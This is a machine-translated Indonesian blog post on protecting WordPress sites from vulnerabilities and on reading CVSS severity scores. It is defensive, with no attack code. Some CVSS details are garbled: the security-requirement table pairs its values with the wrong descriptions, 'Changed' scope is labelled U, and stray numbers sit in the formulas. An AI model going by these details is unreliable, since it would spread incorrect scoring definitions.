Cara Mencegah Kredensial Lemah
Cara terbaik untuk mencegah kredensial yang lemah adalah dengan membuat kebijakan kata sandi yang kuat dan menggunakan otentikasi dua faktor.
Otentikasi dua faktor adalah proses verifikasi identitas seseorang dengan memerlukan dua metode verifikasi yang terpisah. Google membagikan di blognya bahwa menggunakan otentikasi dua faktor dapat menghentikan 100% serangan bot otomatis.
Cara Melindungi Situs WordPress Anda dari Kerentanan WordPress
Mari kita lihat beberapa langkah yang dapat ditindaklanjuti yang dapat Anda ambil untuk melindungi situs web Anda dari kerentanan WordPress.
1. Perbarui Perangkat Lunak WordPress Anda
Memiliki plugin atau tema rentan yang tambalannya tersedia tetapi tidak diterapkan adalah penyebab nomor satu situs web WordPress yang diretas. Ini berarti bahwa sebagian besar kerentanan dieksploitasi SETELAH patch untuk kerentanan dirilis.
Pelanggaran Equifax yang banyak dilaporkan dapat dicegah jika mereka memperbarui perangkat lunak mereka. Untuk pelanggaran Equifax, tidak ada alasan.
Sesuatu yang sederhana seperti memperbarui perangkat lunak Anda dapat melindungi Anda. Jadi jangan abaikan pembaruan WordPress tersebut — pembaruan adalah salah satu komponen paling dasar WordPress dan semua keamanan web.
2. Melacak Kerentanan WordPress
Menjaga plugin dan tema Anda diperbarui tidak akan melindungi Anda dari setiap kerentanan. Beberapa plugin dan tema telah ditinggalkan oleh pengembang yang membuatnya.
Sayangnya, jika plugin atau tema yang ditinggalkan memiliki kerentanan, itu tidak akan pernah mendapatkan tambalan. Peretas akan menargetkan situs web yang menggunakan plugin yang sekarang rentan secara permanen ini.
Melacak kerentanan adalah perbedaan antara memiliki situs web yang aman versus situs web yang mudah dieksploitasi oleh peretas.Jika Anda memiliki plugin yang ditinggalkan dengan kerentanan yang diketahui di situs web Anda, Anda memberi peretas cetak biru yang mereka butuhkan untuk mengambil alih situs web Anda. Itulah mengapa Anda harus melacak semua kerentanan terbaru.
Sulit untuk melacak setiap kerentanan WordPress yang diungkapkan dan membandingkan daftar itu dengan versi plugin dan tema yang telah Anda instal di situs web Anda. Melacak kerentanan adalah perbedaan antara memiliki situs web yang aman versus situs web yang mudah dieksploitasi oleh peretas.
3. Pindai Situs Web Anda Untuk Melihat Kerentanannya
Cara yang lebih cepat untuk melindungi situs web Anda dari eksploitasi peretas yang mudah adalah dengan menggunakan pemindaian otomatis untuk memeriksa situs web Anda dari kerentanan yang diketahui.
iThemes Security Pro Site Scanner adalah cara Anda untuk mengotomatiskan perlindungan kerentanan di semua situs web WordPress Anda. Pemindai Situs memeriksa kerentanan yang diketahui di situs Anda dan akan secara otomatis menerapkan tambalan jika tersedia.
Situs Pro Keamanan iThemes memeriksa 3 jenis kerentanan.
- Kerentanan WordPress
- Kerentanan Plugin
- Kerentanan Tema
Fitur Audit Situs iThemes Sync Pro memanfaatkan kekuatan Google Lighthouse untuk melindungi situs web Anda. Audit Situs memeriksa dan menandai halaman yang menyertakan pustaka JavaScript front-end dengan kerentanan keamanan yang diketahui.
Ini adalah praktik umum bagi pengembang untuk menggunakan kode pihak ketiga seperti perpustakaan JS-dalam plugin dan tema mereka. Sayangnya, jika perpustakaan tidak dirawat dengan baik, mereka dapat menciptakan kerentanan yang dapat dimanfaatkan penyerang untuk meretas situs web Anda. Menggunakan Komponen dengan Kerentanan yang Diketahui ada di daftar 10 Teratas OWASP.
Audit Situs menyelamatkan daging saya! Saya membuat Jadwal Audit agar Sync Pro melakukan audit otomatis mingguan dan mengirimkan email laporan audit kepada saya. Saya terus memperbarui semuanya , dan itulah sebabnya saya terkejut ketika saya melihat di salah satu audit situs web saya bahwa saya menggunakan perpustakaan JavaScript dengan kerentanan keamanan yang diketahui.
Laporan itu mengarahkan saya ke versi jQuery yang sudah ketinggalan zaman di direktori WordPress situs web yang dipenuhi dengan kerentanan yang diketahui! Beruntung bagi saya, saya melihat di Sync Pro Site Audit saya bahwa saya menggunakan perpustakaan JavaScript dengan kerentanan keamanan yang diketahui dan dapat menyelesaikan masalah sebelum situs web saya diretas.
Cara Mengukur Risiko Kerentanan WordPress
Ada beberapa jenis kerentanan WordPress, semuanya dengan berbagai tingkat risiko. Beruntung bagi kami, Database Kerentanan Nasional – sebuah proyek dari Institut Sains dan Teknologi Nasional – memiliki kalkulator sistem penilaian kerentanan untuk menentukan risiko kerentanan.
Bagian panduan kerentanan WordPress ini akan membahas metrik dan tingkat keparahan sistem penilaian kerentanan. Meskipun bagian ini sedikit lebih teknis, beberapa pengguna mungkin merasa berguna untuk memperdalam pemahaman mereka tentang bagaimana kerentanan WordPress dan tingkat keparahannya dinilai.
Metrik Sistem Skor Kerentanan WordPress Umum
Persamaan sistem penilaian kerentanan menggunakan tiga set skor yang berbeda untuk menentukan skor keparahan keseluruhan.
1. Metrik Dasar
Grup metrik Dasar mewakili karakteristik kerentanan yang konstan di seluruh lingkungan pengguna.
Metrik Dasar dibagi menjadi dua kelompok, Eksploitasi, dan Dampak.
1.1. Metrik Eksploitasi
Skor eksploitabilitas didasarkan pada seberapa sulit bagi penyerang untuk memanfaatkan kerentanan. Skor dihitung dengan menggunakan 5 variabel yang berbeda.
1.1.1. Vektor Serangan (AV)
Skor vektor serangan didasarkan pada metode di mana kerentanan dieksploitasi. Skor akan lebih tinggi semakin jauh penyerang dapat mengeksploitasi kerentanan.
Idenya adalah bahwa jumlah penyerang potensial akan jauh lebih besar jika kerentanan dapat dieksploitasi melalui jaringan dibandingkan dengan kerentanan yang memerlukan akses fisik ke eksploitasi perangkat.
Semakin banyak penyerang potensial, semakin tinggi risiko eksploitasi, dan oleh karena itu, skor Vektor Serangan yang diberikan pada kerentanan akan lebih tinggi.
Akses Diperlukan | Keterangan |
---|---|
Jaringan (N) | Kerentanan yang dapat dieksploitasi dengan Jaringan akses berarti komponen yang rentan dapat dieksploitasi dari jarak jauh . |
Jaringan Berdekatan (AV:A) | Kerentanan yang dapat dieksploitasi dengan Adjacent Network akses berarti komponen rentan terikat ke tumpukan jaringan. Namun, serangan terbatas pada jaringan fisik atau logis yang sama. |
Lokal (AV:L) | Kerentanan yang dapat dieksploitasi dengan Local akses berarti bahwa komponen yang rentan tidak terikat pada tumpukan jaringan. Dalam beberapa kasus, penyerang mungkin masuk secara lokal untuk mengeksploitasi kerentanan atau mungkin mengandalkan Interaksi Pengguna untuk mengeksekusi file berbahaya. |
Fisik (AV:P) | Kerentanan yang dapat dieksploitasi dengan Fisik mengakses mengharuskan penyerang untuk secara fisik menyentuh atau memanipulasi komponen yang rentan, seperti memasang perangkat periferal ke sistem. |
1.1.2. Kompleksitas Serangan (AC)
Nilai kompleksitas didasarkan pada kondisi yang diperlukan untuk mengeksploitasi kerentanan. Beberapa kondisi mungkin memerlukan pengumpulan lebih banyak informasi tentang target, keberadaan pengaturan konfigurasi sistem tertentu, atau pengecualian komputasi.
Skor kompleksitas serangan akan semakin tinggi semakin rendah kompleksitas yang dibutuhkan untuk mengeksploitasi kerentanan.
Kompleksitas Kondisi Eksploitasi | deskripsi |
---|---|
Rendah (L) | Kondisi akses khusus atau keadaan khusus tidak ada. Seorang penyerang dapat mengharapkan keberhasilan yang berulang terhadap komponen yang rentan. |
Tinggi (H) | Sebuah serangan yang berhasil tergantung pada kondisi di luar kendali penyerang. Serangan yang berhasil tidak dapat dilakukan sesuka hati tetapi mengharuskan penyerang untuk berinvestasi dalam sejumlah upaya yang terukur dalam persiapan atau eksekusi terhadap komponen yang rentan sebelum serangan yang berhasil dapat diharapkan. |
1.1.3. Hak Istimewa Diperlukan (PR)
Skor hak istimewa yang diperlukan dihitung berdasarkan hak istimewa yang harus diperoleh penyerang sebelum mengeksploitasi kerentanan. Kami akan menyelami ini lebih dalam di bagian Authenticated vs Unauthenticated.
Skor akan tertinggi jika tidak ada hak istimewa yang diperlukan.
Tingkat Hak Istimewa Diperlukan | Keterangan |
---|---|
Tidak ada (N) | Penyerang tidak sah sebelum serangan dan karena itu tidak memerlukan akses ke pengaturan atau file untuk melakukan serangan. |
Rendah (L) | Penyerang diberi wewenang dengan hak istimewa yang menyediakan kemampuan pengguna dasar yang biasanya hanya dapat memengaruhi pengaturan dan file yang dimiliki oleh pengguna. Atau, penyerang dengan hak istimewa Rendah mungkin memiliki kemampuan untuk menyebabkan dampak hanya pada sumber daya yang tidak sensitif. |
Tinggi (H) | Penyerang diberi wewenang dengan (yaitu, memerlukan) hak istimewa yang memberikan kontrol signifikan (misalnya, administratif) atas komponen rentan yang dapat memengaruhi pengaturan dan file di seluruh komponen. |
1.1.4. Interaksi Pengguna (UI)
Skor interaksi pengguna ditentukan berdasarkan apakah kerentanan memerlukan interaksi pengguna untuk dieksploitasi.
Skor akan tertinggi ketika tidak ada interaksi pengguna yang diperlukan bagi penyerang untuk mengeksploitasi kerentanan.
Persyaratan Interaksi Pengguna | Keterangan |
---|---|
Tidak ada (N) | Sistem yang rentan dapat dieksploitasi tanpa interaksi dari pengguna mana pun. |
Wajib (R) | Eksploitasi kerentanan yang berhasil memerlukan pengguna untuk mengambil beberapa tindakan sebelum kerentanan dapat dieksploitasi, seperti meyakinkan pengguna untuk mengklik tautan dalam email. |
1.1.5. Cakupan
Skor cakupan didasarkan pada kerentanan dalam satu komponen perangkat lunak untuk memengaruhi sumber daya di luar cakupan keamanannya.
Cakupan keamanan mencakup komponen lain yang menyediakan fungsionalitas hanya untuk komponen tersebut, meskipun komponen lain ini memiliki otoritas keamanannya sendiri.
Skor tertinggi ketika perubahan ruang lingkup terjadi.
Cakupan | Keterangan |
---|---|
Tidak Berubah (U) | Kerentanan yang dieksploitasi hanya dapat memengaruhi sumber daya yang dikelola oleh otoritas yang sama. Dalam hal ini, komponen yang rentan dan komponen yang terkena dampak adalah sama. |
Berubah (U) | Kerentanan yang dieksploitasi dapat memengaruhi sumber daya di luar hak otorisasi yang dimaksudkan oleh komponen rentan. Dalam hal ini, komponen rentan dan komponen terdampak berbeda. |
1.2. Metrik Dampak
Metrik Dampak menangkap efek langsung dari kerentanan yang berhasil dieksploitasi.
1.2.1. Dampak Rahasia (C)
Skor dampak rahasia ini mengukur dampak pada kerahasiaan informasi yang dikelola oleh perangkat lunak yang dieksploitasi.
Skor tertinggi ketika kerugian pada perangkat lunak yang terkena dampak tertinggi.
Dampak Kerahasiaan | Keterangan |
---|---|
Tinggi (H) | Ada hilangnya kerahasiaan total, yang mengakibatkan semua sumber daya dalam perangkat lunak yang dieksploitasi diungkapkan kepada penyerang. |
Rendah (L) | Ada beberapa kehilangan kerahasiaan. Penyerang memperoleh akses ke beberapa informasi terbatas. |
Tidak ada (N) | Tidak ada kehilangan kerahasiaan dalam perangkat lunak yang dieksploitasi. |
1.2.2. Integritas (I)
Skor integritas ini didasarkan pada dampak terhadap integritas kerentanan yang berhasil dieksploitasi.
Skor tertinggi ketika konsekuensi dari perangkat lunak yang terkena dampak terbesar.
Dampak Integritas | Keterangan |
---|---|
Tinggi (H) | Ada kehilangan integritas total atau hilangnya perlindungan sepenuhnya. |
Rendah (L) | Modifikasi data tidak berdampak langsung dan serius pada perangkat lunak yang terpengaruh. |
Tidak ada (N) | Tidak ada kehilangan integritas dalam perangkat lunak yang terpengaruh. |
1.2.3. Ketersediaan (A)
Skor ketersediaan didasarkan pada dampak ketersediaan perangkat lunak yang dieksploitasi.
Skor tertinggi ketika konsekuensi dari komponen yang terkena dampak terbesar.
Dampak Ketersediaan | Keterangan |
---|---|
Tinggi (H) | Ada kehilangan total ketersediaan, yang mengakibatkan penyerang sepenuhnya menolak akses ke sumber daya dalam perangkat lunak yang dieksploitasi. |
Rendah (L) | Ada penurunan kinerja atau gangguan dalam ketersediaan sumber daya. |
Tidak ada (N) | Tidak ada dampak pada ketersediaan dalam perangkat lunak yang terpengaruh. |
Skor Dasar Perhitungan Skor CVSS
Skor Dasar adalah fungsi dari persamaan sub skor Dampak dan Eksploitasi. Dimana skor Dasar didefinisikan sebagai,
If (Impact sub score <= 0) 0 else, Scope Unchanged 4 Roundup(Minimum[(Impact+Exploitability),10]) Scope Changed Roundup(Minimum[1.08×(Impact+Exploitability),10]) and the Impact subscore (ISC) is defined as, Scope Unchanged 6.42 × ISCBase Scope Changed 7.52 × [ISCBase - 0.029] - 3.25 × [ISCBase - 0.02] 15 Where, ISCBase = 1 - [(1 - ImpactConf) × (1 - ImpactInteg) × (1 - ImpactAvail)] And the Exploitability sub score is, 8.22 × AttackVector × AttackComplexity × PrivilegeRequired × UserInteraction
2. Metrik Skor Temporal
Metrik Temporal mengukur status teknik eksploitasi saat ini, keberadaan patch atau solusi apa pun, atau keyakinan yang dimiliki seseorang dalam deskripsi kerentanan.
Metrik temporal diharapkan dan akan berubah seiring waktu.
2.1. Exploit Code Maturity (E)
Kematangan kode eksploitasi didasarkan pada kemungkinan kerentanan diserang.
Semakin mudah suatu kerentanan dapat dieksploitasi, semakin tinggi skor kerentanannya.
Nilai Kematangan Kode Eksploitasi | Keterangan |
---|---|
Tidak Didefinisikan (X) | Menetapkan nilai ini ke metrik tidak akan memengaruhi skor. Ini adalah sinyal untuk persamaan penilaian untuk melewati metrik ini. |
Tinggi (H) | Kode otonom fungsional ada, atau tidak diperlukan eksploitasi, dan detail tersedia secara luas. |
Fungsional (F) | Kode eksploitasi fungsional tersedia. Kode berfungsi di sebagian besar situasi di mana ada kerentanan. |
Bukti Konsep (P) | Kode eksploitasi bukti konsep tersedia, atau demonstrasi serangan tidak praktis untuk sebagian besar sistem. |
Tidak terbukti (U) | Tidak ada kode eksploit yang tersedia, atau eksploit sepenuhnya teoretis. |
2.2. Tingkat Remediasi (RL)
Remediasi Tingkat kerentanan merupakan faktor penting untuk diprioritaskan. Pemecahan masalah atau hotfix mungkin menawarkan perbaikan sementara hingga patch atau upgrade resmi dikeluarkan.
Semakin tidak resmi dan permanen perbaikannya, semakin tinggi skor kerentanannya.
Nilai Tingkat Remediasi | Keterangan |
---|---|
Tidak Didefinisikan (X) | Nilai Remediasi Tidak Ditentukan berarti tidak ada informasi yang cukup untuk memilih salah satu dari nilai remediasi lainnya. Nilai Tidak Ditetapkan tidak berdampak pada Skor Temporal keseluruhan dan memiliki efek yang sama pada penilaian sebagai Tidak Tersedia. |
Tidak tersedia (U) | Tidak ada solusi yang tersedia. |
Solusi (W) | Solusi non-vendor tidak resmi tersedia. Misalnya, pengguna atau pihak ketiga lainnya membuat tambalan atau solusi untuk mengurangi kerentanan. |
Perbaikan Sementara (T) | Tersedia perbaikan resmi tetapi sementara. Misalnya, pengembang perangkat lunak telah mengeluarkan perbaikan terbaru sementara atau memberikan solusi untuk mengurangi kerentanan. |
Perbaikan Resmi (O) | Pengembang perangkat lunak telah mengeluarkan tambalan resmi untuk kerentanan. |
2.3. Laporan Keyakinan (RC)
Metrik Report Confidence mengukur tingkat kepercayaan bahwa ada kerentanan dan kredibilitas detail teknis.
Semakin banyak kerentanan divalidasi oleh vendor atau sumber tepercaya lainnya, semakin tinggi skornya.
Laporkan Nilai Keyakinan | Keterangan |
---|---|
Tidak Didefinisikan (X) | Nilai Keyakinan Laporan Tidak Ditentukan berarti tidak ada informasi yang cukup untuk menetapkan salah satu nilai keyakinan lainnya. Nilai Tidak Ditetapkan tidak berdampak pada Skor Keyakinan Laporan secara keseluruhan dan memiliki efek yang sama pada penilaian sebagai Tidak Tersedia. |
Dikonfirmasi (C) | Sebuah laporan rinci ada dengan konsep poof tentang bagaimana mengeksploitasi kerentanan, atau pengembang perangkat lunak telah mengkonfirmasi keberadaan kerentanan. |
Wajar (R) | Sebuah laporan ada dengan rincian yang signifikan, tetapi peneliti tidak memiliki keyakinan penuh pada akar penyebab atau tidak dapat sepenuhnya mengkonfirmasi setiap interaksi yang dapat menyebabkan eksploitasi. Namun, bug dapat direproduksi dan setidaknya ada satu bukti konsep. |
Tidak Diketahui (U) | Ada laporan dampak yang menunjukkan adanya kerentanan, tetapi penyebab kerentanan tidak diketahui. |
Perhitungan Skor CVSS Temporal
Skor Temporal didefinisikan sebagai,
Roundup(BaseScore v× ExploitCode Maturity × RemediationLevel × ReportConfidence)
3. Metrik Skor Lingkungan
Metrik Lingkungan memungkinkan analis untuk menyesuaikan skor CVSS berdasarkan pentingnya aset TI yang terpengaruh.
Metrik Eksploitasi dan Dampak Lingkungan adalah ekuivalen yang dimodifikasi dari metrik Dasar dan diberi nilai berdasarkan penempatan komponen infrastruktur organisasi. Lihat bagian Metrik Dasar di atas untuk melihat nilai dan deskripsi metrik Daya Eksploitasi dan Dampak.
Metrik Lingkungan berisi grup tambahan, Pengubah Subskor Dampak.
3.1. Metrik Pengubah Subscore Dampak
Metrik Pengubah Subscore Dampak menilai persyaratan keamanan khusus untuk Kerahasiaan (CR), Integritas (IR), dan Ketersediaan (AR), yang memungkinkan skor lingkungan untuk disesuaikan dengan lingkungan pengguna.
Dampak Nilai Subskor | Keterangan |
---|---|
Tidak Didefinisikan (CR:X) | Hilangnya (kerahasiaan/integritas/ketersediaan) kemungkinan hanya memiliki efek terbatas pada organisasi. |
Rendah (CR:L) | Hilangnya (kerahasiaan/integritas/ketersediaan) kemungkinan akan berdampak serius pada organisasi. |
Sedang (CR:M) | Hilangnya (kerahasiaan/integritas/ketersediaan) kemungkinan besar memiliki efek bencana pada organisasi. |
Tinggi (CR:H) | Ini adalah sinyal untuk mengabaikan skor ini. |
Perhitungan Skor CVSS Lingkungan
Skor lingkungan didefinisikan sebagai,
If (Modified Impact Sub score <= 0) 0 else, If Modified Scope is Unchanged Round up(Round up (Minimum [ (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) If Modified Scope is Changed Round up(Round up (Minimum [1.08 × (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence) And the modified Impact sub score is defined as, If Modified Scope is Unchanged 6.42 × [ISC Modified ] If Modified Scope is Changed 7.52 × [ISC Modified - 0.029]-3.25× [ISC Modified × 0.9731 - 0.02] 13 Where, ISC Modified = Minimum [[1 - (1 - M.IConf × CR) × (1 - M.IInteg × IR) × (1 - M.IAvail × AR)], 0.915] The Modified Exploitability sub score is, 8.22 × M.AttackVector × M.AttackComplexity × M.PrivilegeRequired × M.UserInteraction 4 Where “Round up” is defined as the smallest number, specified to one decimal place, that is equal to or higher than its input. For example, Round up (4.02) is 4.1; and Round up (4.00) is 4.0.
Skor & Keparahan CVSS keseluruhan
Sistem Skor Kerentanan Umum Keseluruhan atau skor CVSS adalah representasi dari skor Basis, Temporal, dan Lingkungan.
Skor CVSS Keseluruhan dapat digunakan untuk memberi Anda gambaran tentang seberapa parah atau serius kerentanan itu.
Skor CVSS | Kerasnya |
---|---|
0,0 | Tidak ada |
0,1 – 3,9 | Rendah |
4.0 – 6.9 | Medium |
7.0 – 8.9 | Tinggi |
9,0 – 10,0 | Kritis |
Contoh Peringkat Keparahan CVSS Dunia Nyata
Dalam Vulnerability Roundup Desember 2020 kami, kami melaporkan kerentanan di plugin Easy WP SMTP. Kerentanan zero-day (kami akan membahas kerentanan zero-day di bagian selanjutnya) memungkinkan penyerang untuk mengendalikan akun Administrator dan dieksploitasi secara liar.
Melihat entri Database Kerentanan Nasional, kita dapat menemukan peringkat keparahan kerentanan WP SMTP.

Mari kita uraikan beberapa hal dari tangkapan layar WP SMTP NVDB di atas.
Skor Dasar : Skor dasar adalah 7,5, yang memberi tahu kami bahwa tingkat keparahan kerentanannya tinggi.
Vektor : Vektor memberi tahu kita bahwa skor didasarkan pada persamaan kerentanan CVSS 3.1 dan metrik yang digunakan untuk menghitung skor.
Berikut adalah bagian metrik dari vektor.
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Sekarang mari kita gunakan nilai dan deskripsi Metrik Dasar dari postingan sebelumnya untuk memahami delapan nilai metrik vektor.
- AV:N – Ini berarti bahwa Vektor Serangan (AV) dari kerentanan adalah Jaringan (N). Dengan kata lain, penyerang hanya membutuhkan akses jaringan untuk mengeksploitasi kerentanan.
- AC:L – Kompleksitas Serangan (AC) dari kerentanan Rendah (L). Dengan kata lain, skrip kiddie dapat mengeksploitasi kerentanan.
- PR:N – Privileges Required (PR) yang dibutuhkan untuk mengeksploitasi kerentanan adalah None (N). Jadi, kerentanan tidak memerlukan pengguna yang diautentikasi untuk dieksploitasi. (Kami akan membahas perbedaan antara kerentanan yang Diautentikasi & Tidak Diautentikasi nanti di posting ini.)
- UI:N – Interaksi Pengguna (UI) yang diperlukan untuk mengeksploitasi kerentanan ini adalah Tidak Ada (N). Jadi, penyerang memiliki sarana untuk mengeksploitasi kerentanan sendiri.
- S:U – Ini berarti Cakupan (S) kerentanan adalah Tidak Berubah (U). Dalam hal kerentanan ini, komponen rentan dan komponen yang terkena dampak adalah sama.
- C:H – Dampak Kerahasiaan (C) dari kerentanan Tinggi (H). Ketika kerentanan ini dieksploitasi, itu mengakibatkan hilangnya kerahasiaan total.
- I:N – Dampak Integritas (I) dari kerentanan ini adalah Tidak Ada (N). Ketika kerentanan dieksploitasi, tidak ada kehilangan integritas atau kepercayaan dari informasi yang rentan.
- A:N – Artinya Dampak Ketersediaan (A) adalah Tidak Ada (N). Ketika kerentanan dieksploitasi, tidak akan ada dampak pada ketersediaan situs web Anda.
Skor CVSS dapat membantu kami menentukan tingkat keparahan dan cakupan kerentanan yang diberikan. Dalam beberapa bagian berikutnya, kami akan membahas beberapa istilah kerentanan penting yang sering disertakan dalam pengungkapan kerentanan.
Kerentanan WordPress Dijelaskan Webinar
Lihat webinar kami yang membahas topik yang sama.
Penutup: Kerentanan WordPress Dijelaskan
Meskipun kerentanan WordPress menakutkan, kabar baiknya adalah sebagian besar kerentanan WordPress ditemukan dan ditambal sebelum orang jahat memiliki kesempatan untuk mengeksploitasinya.
Anda dapat membantu melindungi situs web Anda dari kerentanan dengan menjaga inti WordPress dan plugin serta tema Anda diperbarui adalah cara terbaik untuk memastikan Anda menerima patch keamanan terbaru.
Setiap minggu, Michael menyusun Laporan Kerentanan WordPress untuk membantu menjaga situs Anda tetap aman. Sebagai Manajer Produk di iThemes, dia membantu kami terus meningkatkan jajaran produk iThemes. Dia kutu buku raksasa & suka belajar tentang semua hal teknologi, lama & baru. Anda dapat menemukan Michael bergaul dengan istri & putrinya, membaca atau mendengarkan musik saat tidak bekerja.
